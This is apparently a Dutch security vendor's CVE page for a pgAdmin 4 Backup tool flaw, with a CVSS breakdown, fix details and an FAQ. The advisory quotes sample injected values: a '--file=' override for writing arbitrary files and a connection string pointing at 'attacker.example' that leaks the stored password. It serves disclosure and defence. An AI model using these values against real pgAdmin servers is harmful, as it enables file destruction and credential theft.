Naar hoofdinhoud

CVE-2026-86864

8.8 HIGH
  1. Gepubliceerd17 sep 2026

Beschrijving

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

CVSS 3.1-ontleding

Attack vectorNetwork
Attack complexityLow
Privileges requiredLow
User interactionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Herstel

Er is geen opgeloste versie vastgelegd in de NVD-data. Raadpleeg het leveranciersadvies voor de laatste richtlijnen.

Veelgestelde vragen

Wordt CVE-2026-86864 actief misbruikt?

CVE-2026-86864 staat niet in de CISA KEV-catalogus.

Hoe ernstig is CVE-2026-86864?

CVE-2026-86864 heeft een CVSS 3.1-basisscore van 8.8, beoordeeld als high.

Hoe verhelp ik CVE-2026-86864?

Pas de patch of het advies van de leverancier toe en controleer dat er geen getroffen versies meer op uw apparaten staan.

Hoe Secuno hiermee omgaat

Secuno correleert kwetsbaarheden zoals CVE-2026-86864 dagelijks tegen de werkelijke software-inventaris op elk beheerd apparaat. In plaats van een statische ernst wordt elke match in context gescoord: exploitbeschikbaarheid, EPSS, de blootstelling van het asset en bedrijfskriticiteit bepalen de prioriteit. Als een getroffen versie ergens in uw portfolio aanwezig is, verschijnt die automatisch met een geprioriteerd hersteltraject.

Data uit de NVD, CISA KEV-catalogus en FIRST EPSS. CVSS 3.1-basisscore getoond indien beschikbaar.